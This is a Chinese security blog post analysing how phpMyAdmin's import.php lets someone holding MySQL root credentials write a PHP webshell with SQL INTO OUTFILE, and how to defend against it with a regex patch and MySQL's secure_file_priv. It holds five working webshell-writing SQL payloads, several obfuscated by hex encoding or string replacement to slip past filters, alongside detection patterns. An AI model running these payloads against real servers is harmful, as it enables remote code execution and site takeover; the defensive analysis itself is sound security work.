• Getshell Via phpmyadmin SQL Execution In /import.php To Write Evil Webshell File Into Disk


    目录

    1. 漏洞描述
    2. 漏洞触发条件
    3. 漏洞影响范围
    4. 漏洞代码分析
    5. 防御方法
    6. 攻防思考

    1. 漏洞描述

    phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性

    0x1: Mysql SQL预编译(PREPARE Syntax)

    /*
    1. stmt_name: The PREPARE statement prepares a SQL statement and assigns it a name, stmt_name, by which to refer to the statement later. 
    2. preparable_stmt: preparable_stmt is either a string literal or a user variable that contains the text of the SQL statement. The text must represent a single statement, not multiple statements. 
    */
    PREPARE stmt_name FROM preparable_stmt

    0x2: Mysql SQL执行(EXECUTE Syntax)

    EXECUTE stmt_name
        [USING @var_name [, @var_name] ...]
    //After preparing a statement with PREPARE, you execute it with an EXECUTE statement that refers to the prepared statement name. If the prepared statement contains any parameter markers, you must supply a USING clause that lists user variables containing the values to be bound to the parameters.

    Relevant Link:

    https://dev.mysql.com/doc/refman/5.0/en/prepare.html
    https://dev.mysql.com/doc/refman/5.0/en/execute.html
    http://zone.wooyun.org/content/22606


    2. 漏洞触发条件

    1. 已知phpmyadmin的root密码,即mysql的root密码(phpmyadmin只是通过web方式连接mysql的工具)
        1) mysql本身默认的弱口令
        2) 通过其他漏洞(例如注入)获得了mysql的root密码
    2. 已知网站的物理路径
        1) 在phpmyadmin的后台的"变量"tab页面,可以看到mysql的物理路径,从而推测出网站的物理路径
        2) 通过其他web漏洞获得网站的物理路径

    通过phpmyadmin进行getshell的核心就是通过sql进行文件写的操作,常见的sql如下

    ----1---
    DROP TABLE IF EXISTS `a`;
    Create TABLE a (cmd text NOT NULL);
    Insert INTO a (cmd) VALUES('xx');
    select cmd from a into outfile 'C:/phpStudy/WWW/ali.php'
    Drop TABLE IF EXISTS a;
    ----1---
    
    ----2---
    select '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/exehack.php'
    ----2---
    
    ----3---
    set @strSql = replace("select '<?php @eval($_POST[pass]);?>' outo outfile 'c:/WWW/phpMyAdmin/alibaba.php'","outo","into");
    prepare a from @strSql;
    execute a; 
    ----3---
    
    ----4---
    //select '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/exehack.php'
    SET @SQLString = 0x73656c65637420273c3f70687020406576616c28245f504f53545b706173735d293b3f3e27494e544f204f555446494c452027643a2f77616d702f7777772f6578656861636b2e70687027;
    PREPARE test FROM @SQLString;
    EXECUTE test;
    ----4---
    
    ----5---
    //declared mysql function
    use test;
    delimiter $$ 
    CREATE FUNCTION myFunction
    (in_string VARCHAR(255))
    RETURNS VARCHAR(255)
    
    BEGIN
    DECLARE new_string VARCHAR(255);
    SET new_string = replace(in_string,"outo","into"); 
    RETURN(new_string);
    END$$
    
    //hack
    delimiter ;
    SET @SQLString = test.myFunction("select '<?php @eval($_POST[pass]);?>' outo outfile 'c:/alibaba.php'");
    PREPARE test FROM @SQLString;
    EXECUTE test;
    ----5---

    Relevant Link:

    http://www.exehack.net/681.html
    http://www.exehack.net/99.html
    http://www.187299.com/archives/1695


    3. 漏洞影响范围

    全部phpmyadmin版本


    4. 漏洞代码分析

    /phpMyAdmin/import.php

    所有处理用户自定义SQL解析执行的逻辑都在这个PHP文件中实现

    /*
    this code point is important
    $import_text is the one that need to be check strictly
    */
    if ($go_sql) 
    {
        // parse sql query
        include_once 'libraries/parse_analyze.inc.php';
    
        if (isset($ajax_reload) && $ajax_reload['reload'] === true) 
        {
            $response = PMA_Response::getInstance();
            $response->addJSON('ajax_reload', $ajax_reload);
        }
        PMA_executeQueryAndSendQueryResponse(
            $analyzed_sql_results, false, $db, $table, null, $import_text, null,
            $analyzed_sql_results['is_affected'], null,
            null, null, null, $goto, $pmaThemeImage, null, null, null, $sql_query,
            null, null
        );
    } 
    else if ($result) 
    {
        // Save a Bookmark with more than one queries (if Bookmark label given).
        if (! empty($_POST['bkm_label']) && ! empty($import_text)) 
        {
            PMA_storeTheQueryAsBookmark(
                $db, $GLOBALS['cfg']['Bookmark']['user'],
                $import_text, $_POST['bkm_label'],
                isset($_POST['bkm_replace']) ? $_POST['bkm_replace'] : null
            );
        }
    
        $response = PMA_Response::getInstance();
        $response->isSuccess(true);
        $response->addJSON('message', PMA_Message::success($msg));
        $response->addJSON(
            'sql_query',
            PMA_Util::getMessage($msg, $sql_query, 'success')
        );
    } 
    else if ($result == false) 
    {
        $response = PMA_Response::getInstance();
        $response->isSuccess(false);
        $response->addJSON('message', PMA_Message::error($msg));
    } 
    else 
    {
        $active_page = $goto;
        include '' . $goto;
    }


    5. 防御方法

    对变量$import_text进行恶意检查是我们针对phpmyadmin执行sql导出文件getshell攻击的防御思路
    /phpMyAdmin/import.php

    } elseif (! empty($id_bookmark)) {
        // run bookmark
        $import_type = 'query';
        $format = 'sql';
    }
     
    //在文件的最开头进行SQL恶意检测,最大程度地兼容所有pmd的sql解析、执行逻辑
    if(preg_match("/select.*into.*(outfile|dumpfile)/sim", $import_text, $matches)) { $erromsg = "request error!" . "</br>" . $matches[0]; die($erromsg); } 
    //file name filter
    $matchResult = preg_match_all("#(0[xX]){0,1}[0-9a-fA-F]+#", $import_text, $matchs);
    if($matchResult != 0 && $matchResult != FALSE)
    { 
        foreach ($matchs[0] as $key => $value) 
        { 
            $hex = substr($value, 2);
            $import_text_hex = hex2bin($hex);
            if (preg_match('#.(php|pl|cgi|asp|aspx|jsp|php5|php4|php3|shtm|shtml)#i', strtolower($import_text_hex), $matches_1)) { $pmderromsg = "request error!" . "</br>" . $matches_1[0]; die($pmderromsg); } 
        }
    } 

    要特别注意的是,在使用PHP的正则匹配引擎的时候,需要考虑到换行场景下的bypass风险
    还需要注意的,MYSQL存在很多扩展语法,例如

    1. 定义存储过程
    2. 定义函数
    3. 定义触发器
    4. 使用语法预处理编译
    /*
    prepare stmt from 'select count(*) from information_schema.schemata';
    这里待编译的sql语句也可以进行字符变形以此进行bypass
    execute stmt;
    */

    从攻防的本质上来讲,phpmyadmin的自定义sql导出shell接口这里的修复只是防御了攻击的一条向量,黑客还可以通过其他的攻击向量发起攻击

    1. 通过mysql弱口令,进mysql,添加一个账户,开启远程外连
    2. 通过mysql命令行连接之后,通过命令行执行sql导出文件

    要想做到彻底防御,要从多个角度入手进行防御

    1. 对phpmyadmin的/import.php进行代码层防御,禁止用户执行导出文件相关的GETSHELL
    2. 对mysql的弱口令密码进行健康检测,提示管理员修改密码
    3. 使用主动防御Hook技术,接管文件系统,禁止mysql进行写xxx.php文件

    0x2: 权限ACL控制

    mysql5.7以后新增了对文件操作的ACL控制

    --secure-file-priv=dir_name

    Command-Line Format --secure-file-priv=dir_name
    System Variable Name secure_file_priv
    Variable Scope Global
    Dynamic Variable No
    Permitted Values (<= 5.7.5) Type string
    Default empty
    Valid Values empty
    dirname
    Permitted Values (>= 5.7.6) Type string
    Default platform specific
    Valid Values empty
    dirname
    NULL

    默认情况下,利用mysql文件导出写shell会遇到如下错误

    需要手工添加信任目录

    Relevant Link:

    http://php.net/manual/en/function.preg-match.php#111573
    http://blog.sina.com.cn/s/blog_3fe961ae01013r8f.html
    https://dev.mysql.com/doc/refman/5.7/en/server-options.html#option_mysqld_secure-file-priv

    6. 攻防思考

    Copyright (c) 2014 LittleHann All rights reserved

  • 相关阅读:
    手把手的教你激活PyCharm --Pycharm激活详细教程(二)(非常详细,非常实用)
    api-ms-win-crt-process-l1-1-0.dll 丢失的处理,遇到问题和完美解决
    关于pycharm安装出现的interpreter field is empty,无法创建项目存储位置
    手把手的教你安装PyCharm --Pycharm安装详细教程(一)(非常详细,非常实用)
    谷歌浏览器的各种插件网址Chrome插件(谷歌浏览器)-超级详细
    selenium之 chromedriver与chrome版本映射表(更新至v2.43)
    火狐l浏览器所有版本
    1、MySQL主从同步机制及同步中的问题处理
    PyCharm证书过期:Your license has expired
    Git的使用--如何将本地项目上传到Github(三种简单、方便的方法)(二)(详解)
  • 原文地址:https://www.cnblogs.com/LittleHann/p/4299540.html
Copyright © 2020-2023  润新知